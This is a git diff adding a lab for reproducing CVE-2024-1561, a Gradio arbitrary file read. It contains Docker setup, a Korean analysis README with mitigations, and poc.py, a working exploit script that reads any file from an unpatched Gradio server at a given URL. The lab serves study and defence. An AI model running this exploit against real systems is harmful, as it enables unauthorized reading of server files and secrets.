diff --git a/Gradio/CVE-2024-1561/Dockerfile b/Gradio/CVE-2024-1561/Dockerfile
new file mode 100644
index 000000000..c08f7b7c6
--- /dev/null
+++ b/Gradio/CVE-2024-1561/Dockerfile
@@ -0,0 +1,13 @@
+FROM python:3.10-slim
+
+WORKDIR /app
+
+COPY requirements.txt .
+RUN pip install --no-cache-dir -r requirements.txt
+
+COPY app.py .
+COPY poc.py .
+
+EXPOSE 7860
+
+CMD ["python", "app.py"]
diff --git a/Gradio/CVE-2024-1561/README.md b/Gradio/CVE-2024-1561/README.md
new file mode 100644
index 000000000..d96679f59
--- /dev/null
+++ b/Gradio/CVE-2024-1561/README.md
@@ -0,0 +1,184 @@
+# CVE-2024-1561
+
+**Contributors**
+
+- [@una7620](https://github.com/una7620)
+
+
+
+# Gradio component_server 임의 파일 읽기 취약점 (CVE-2024-1561)
+
+## 취약점 요약
+
+Gradio는 Python 기반으로 머신러닝 모델이나 Python 함수를 웹 인터페이스로 쉽게 배포할 수 있게 해주는 오픈소스 라이브러리이다.
+
+CVE-2024-1561은 Gradio의 `/component_server` 엔드포인트에서 발생하는 임의 파일 읽기 취약점이다. 취약한 버전에서는 공격자가 `Component` 또는 `Block` 클래스의 메서드를 조작된 인자로 호출할 수 있으며, 이 중 `move_resource_to_block_cache()` 메서드를 악용하면 서버 파일 시스템의 임의 파일을 Gradio 임시 디렉터리로 복사한 뒤 `/file` 엔드포인트를 통해 읽을 수 있다.
+
+- CVE ID: CVE-2024-1561
+- 영향 제품: gradio-app/gradio
+- 영향 버전: Gradio 4.12.0 이상 4.13.0 미만
+- 취약 유형: Path Traversal / Arbitrary File Read
+- CWE: CWE-29
+- 공식 CVE 근거: https://nvd.nist.gov/vuln/detail/CVE-2024-1561
+
+## 환경 구성
+
+본 실습 환경은 Docker Compose를 사용하여 Gradio 4.12.0 기반 애플리케이션을 실행한다. 외부 개인 취약 이미지에 의존하지 않고, 현재 디렉터리의 `Dockerfile`과 `requirements.txt`를 사용해 이미지를 직접 빌드한다.
+
+```bash
+docker compose up -d --build
+```
+
+컨테이너가 실행되면 Gradio 웹 애플리케이션은 다음 주소에서 접근할 수 있다.
+
+```text
+http://127.0.0.1:7860
+```
+
+Docker 이미지 빌드 및 컨테이너 실행 결과는 다음과 같다.
+
+
+
+`docker compose ps` 명령으로 컨테이너가 실행 중이고, 호스트의 7860 포트가 컨테이너의 7860 포트로 매핑된 것을 확인할 수 있다.
+
+
+
+브라우저에서 Gradio 애플리케이션에 접속한 화면이다.
+
+
+
+## 취약 조건
+
+다음 조건에서 취약점이 재현된다.
+
+- Gradio 4.12.0 이상 4.13.0 미만 버전을 사용한다.
+- 외부 사용자가 Gradio 애플리케이션의 HTTP 엔드포인트에 접근할 수 있다.
+- `/component_server` 엔드포인트가 공격자가 전달한 인자를 기반으로 내부 메서드를 호출할 수 있다.
+- 공격자가 읽고자 하는 서버 파일 경로를 알고 있다.
+
+본 실습에서는 Docker 컨테이너 내부의 `/etc/passwd` 파일을 읽어 취약점을 재현한다.
+
+## 취약점 분석
+
+Gradio는 애플리케이션 구성 정보를 `/config` 엔드포인트를 통해 제공한다. 이 응답에는 화면에 배치된 컴포넌트의 ID와 속성 정보가 포함된다. 공격자는 이 정보를 이용해 공격 대상 컴포넌트 ID를 확인할 수 있다.
+
+취약한 Gradio 버전에서는 `/component_server` 엔드포인트가 외부 요청에서 전달된 `fn_name` 값을 기반으로 특정 컴포넌트 또는 블록 메서드를 호출할 수 있다. 이때 `move_resource_to_block_cache` 메서드는 전달받은 파일 경로를 Gradio의 임시 캐시 디렉터리로 이동 또는 복사하는 용도로 사용된다.
+
+공격자는 이 동작을 악용하여 `/etc/passwd`와 같은 서버 내부 파일 경로를 전달할 수 있다. 서버는 해당 파일을 `/tmp/gradio/...` 아래로 복사하고, 이후 `/file=<복사된_경로>` 요청을 통해 복사된 파일을 응답한다. 결과적으로 인증 없이 서버 내부 파일을 읽을 수 있다.
+
+아래 코드는 `/component_server`에 파일 경로를 전달하고, 반환된 Gradio 임시 경로를 `/file` 엔드포인트로 다시 요청하는 부분이다.
+
+
+
+공격 흐름은 다음과 같다.
+
+```text
+1. GET /config
+ -> Gradio 컴포넌트 ID 확인
+
+2. POST /component_server
+ -> fn_name=move_resource_to_block_cache
+ -> data=/etc/passwd
+
+3. GET /file=/tmp/gradio/.../passwd
+ -> 복사된 파일 내용 조회
+```
+
+## 재현 절차
+
+먼저 취약한 Gradio 환경을 실행한다.
+
+```bash
+docker compose up -d --build
+```
+
+컨테이너 상태를 확인한다.
+
+```bash
+docker compose ps
+```
+
+PoC 스크립트를 실행하여 컨테이너 내부의 `/etc/passwd` 파일을 읽는다. `poc.py`는 Docker 이미지 안에 포함되어 있으므로 별도의 Python 패키지 설치 없이 실행할 수 있다.
+
+```bash
+docker compose exec gradio python poc.py http://127.0.0.1:7860 /etc/passwd
+```
+
+실습이 끝나면 다음 명령으로 환경을 종료한다.
+
+```bash
+docker compose down
+```
+
+### 빠른 검증 명령
+
+아래 명령을 그대로 실행하면 환경 실행부터 PoC 재현, 환경 종료까지 확인할 수 있다.
+
+```bash
+docker compose up -d --build
+docker compose ps
+docker compose exec gradio python poc.py http://127.0.0.1:7860 /etc/passwd
+docker compose down
+```
+
+## POC(Proof of Concept)
+
+`poc.py`는 다음 순서로 취약점을 재현한다.
+
+1. `/config` 엔드포인트에 접근하여 Gradio 컴포넌트 ID를 확인한다.
+2. `/component_server` 엔드포인트에 `move_resource_to_block_cache` 호출을 유도하는 JSON 요청을 전송한다.
+3. 서버가 대상 파일을 `/tmp/gradio/...` 경로로 복사하면, 반환된 경로를 확인한다.
+4. `/file=<복사된_경로>` 요청으로 복사된 파일 내용을 읽는다.
+
+### 사용법
+
+```bash
+python3 poc.py
+```
+
+### 명령어 실행 예
+
+Docker 컨테이너 안에서 실행하는 경우:
+
+```bash
+docker compose exec gradio python poc.py http://127.0.0.1:7860 /etc/passwd
+```
+
+호스트 환경에서 직접 실행하는 경우:
+
+```bash
+python3 poc.py http://127.0.0.1:7860 /etc/passwd
+```
+
+## 실행 결과
+
+PoC 실행 결과, `/etc/passwd` 파일이 Gradio 임시 디렉터리로 복사된 뒤 `/file` 엔드포인트를 통해 조회되는 것을 확인하였다.
+
+### macOS(VS Code)
+
+
+
+출력에서 `Copied path`는 Gradio가 `/etc/passwd`를 복사한 임시 경로를 의미한다. 이후 출력되는 `root:x:0:0:root:/root:/bin/bash` 등의 내용은 컨테이너 내부 `/etc/passwd` 파일의 실제 내용이다.
+
+### Linux(Ubuntu)
+
+동일한 제출 파일을 Ubuntu VM 환경에서도 실행하여 재현 여부를 확인하였다. Docker Compose로 취약 환경을 실행한 뒤, 가상환경에서 `requests`를 설치하고 동일한 PoC 명령을 실행했을 때 `/etc/passwd` 파일 내용이 출력되었다.
+
+
+
+## Risk Score
+
+본 취약점은 원격에서 인증 없이 서버 내부 파일을 읽을 수 있으므로 CVSS 기준 7.5점(High) 수준의 위험도를 가진다.
+
+- 인증 필요 여부: 필요 없음
+- 원격 악용 가능성: 가능
+- 주요 영향: 서버 내부 파일 읽기로 인한 기밀성 침해
+- 무결성/가용성 영향: 직접적인 파일 변조나 서비스 중단은 확인되지 않음
+
+## 대응 방안
+
+- Gradio를 4.13.0 이상 버전으로 업그레이드한다.
+- Gradio 애플리케이션을 인터넷에 직접 노출하지 않고, 방화벽 또는 리버스 프록시를 통해 접근 가능한 IP를 제한한다.
+- 민감한 API 키, 토큰, 인증 정보가 서버 파일이나 환경 변수에 평문으로 노출되지 않도록 관리한다.
+- Gradio와 같은 웹 인터페이스를 배포할 때 인증을 적용하고, 불필요한 파일 제공 엔드포인트 접근을 제한한다.
+- 컨테이너 실행 시 최소 권한 원칙을 적용하고, 민감 파일이 포함된 호스트 경로를 불필요하게 마운트하지 않는다.
diff --git a/Gradio/CVE-2024-1561/app.py b/Gradio/CVE-2024-1561/app.py
new file mode 100644
index 000000000..691c46f38
--- /dev/null
+++ b/Gradio/CVE-2024-1561/app.py
@@ -0,0 +1,17 @@
+import gradio as gr
+
+
+def echo(message):
+ return f"Echo: {message}"
+
+
+with gr.Blocks() as demo:
+ gr.Markdown("# Gradio CVE-2024-1561 Test App")
+ gr.Markdown("This application runs Gradio 4.12.0 for CVE-2024-1561 reproduction.")
+ textbox = gr.Textbox(label="Message")
+ output = gr.Textbox(label="Output")
+ button = gr.Button("Submit")
+ button.click(fn=echo, inputs=textbox, outputs=output)
+
+
+demo.launch(server_name="0.0.0.0", server_port=7860)
\ No newline at end of file
diff --git a/Gradio/CVE-2024-1561/docker-compose.yml b/Gradio/CVE-2024-1561/docker-compose.yml
new file mode 100644
index 000000000..ee0102f25
--- /dev/null
+++ b/Gradio/CVE-2024-1561/docker-compose.yml
@@ -0,0 +1,7 @@
+services:
+ gradio:
+ build: .
+ container_name: gradio-cve-2024-1561
+ ports:
+ - "7860:7860"
+ restart: unless-stopped
\ No newline at end of file
diff --git a/Gradio/CVE-2024-1561/images/1-docker-build.png b/Gradio/CVE-2024-1561/images/1-docker-build.png
new file mode 100644
index 000000000..23fd5115a
Binary files /dev/null and b/Gradio/CVE-2024-1561/images/1-docker-build.png differ
diff --git a/Gradio/CVE-2024-1561/images/2-container-running.png b/Gradio/CVE-2024-1561/images/2-container-running.png
new file mode 100644
index 000000000..59db9f8a2
Binary files /dev/null and b/Gradio/CVE-2024-1561/images/2-container-running.png differ
diff --git a/Gradio/CVE-2024-1561/images/3-main-page.png b/Gradio/CVE-2024-1561/images/3-main-page.png
new file mode 100644
index 000000000..98c99bc42
Binary files /dev/null and b/Gradio/CVE-2024-1561/images/3-main-page.png differ
diff --git a/Gradio/CVE-2024-1561/images/4-poc-file-read.png b/Gradio/CVE-2024-1561/images/4-poc-file-read.png
new file mode 100644
index 000000000..55f7f0906
Binary files /dev/null and b/Gradio/CVE-2024-1561/images/4-poc-file-read.png differ
diff --git a/Gradio/CVE-2024-1561/images/5-poc-code.png b/Gradio/CVE-2024-1561/images/5-poc-code.png
new file mode 100644
index 000000000..65299460b
Binary files /dev/null and b/Gradio/CVE-2024-1561/images/5-poc-code.png differ
diff --git a/Gradio/CVE-2024-1561/images/6-ubuntu-result.png b/Gradio/CVE-2024-1561/images/6-ubuntu-result.png
new file mode 100644
index 000000000..99f220dc7
Binary files /dev/null and b/Gradio/CVE-2024-1561/images/6-ubuntu-result.png differ
diff --git a/Gradio/CVE-2024-1561/poc.py b/Gradio/CVE-2024-1561/poc.py
new file mode 100644
index 000000000..77c2ab169
--- /dev/null
+++ b/Gradio/CVE-2024-1561/poc.py
@@ -0,0 +1,61 @@
+import argparse
+import requests
+
+
+def find_component_id(base_url):
+ response = requests.get(f"{base_url}/config", timeout=10)
+ response.raise_for_status()
+
+ config = response.json()
+ for component in config.get("components", []):
+ props = component.get("props", {})
+ if props.get("label") == "Message":
+ return component.get("id")
+
+ raise RuntimeError("Could not find target component id from /config")
+
+
+def read_file(base_url, component_id, target_file):
+ payload = {
+ "component_id": component_id,
+ "data": target_file,
+ "fn_name": "move_resource_to_block_cache",
+ "session_hash": "cve-2024-1561",
+ }
+
+ response = requests.post(f"{base_url}/component_server", json=payload, timeout=10)
+ response.raise_for_status()
+
+ result = response.json()
+ if isinstance(result, str):
+ copied_path = result
+ else:
+ copied_path = result.get("path")
+ if not copied_path:
+ raise RuntimeError(f"Unexpected response: {result}")
+
+ file_response = requests.get(f"{base_url}/file={copied_path}", timeout=10)
+ file_response.raise_for_status()
+ return copied_path, file_response.text
+
+
+def main():
+ parser = argparse.ArgumentParser(description="CVE-2024-1561 Gradio arbitrary file read PoC")
+ parser.add_argument("url", help="Target Gradio URL, e.g. http://127.0.0.1:7860")
+ parser.add_argument("file", nargs="?", default="/etc/passwd", help="File path to read")
+ args = parser.parse_args()
+
+ base_url = args.url.rstrip("/")
+ component_id = find_component_id(base_url)
+ copied_path, content = read_file(base_url, component_id, args.file)
+
+ print(f"[+] Target: {base_url}")
+ print(f"[+] Component ID: {component_id}")
+ print(f"[+] Copied path: {copied_path}")
+ print(f"[+] File content: {args.file}")
+ print("-" * 60)
+ print(content)
+
+
+if __name__ == "__main__":
+ main()
diff --git a/Gradio/CVE-2024-1561/requirements.txt b/Gradio/CVE-2024-1561/requirements.txt
new file mode 100644
index 000000000..4cee26477
--- /dev/null
+++ b/Gradio/CVE-2024-1561/requirements.txt
@@ -0,0 +1,6 @@
+gradio==4.12.0
+fastapi==0.104.1
+pydantic==2.5.3
+starlette==0.27.0
+huggingface_hub==0.19.4
+requests==2.31.0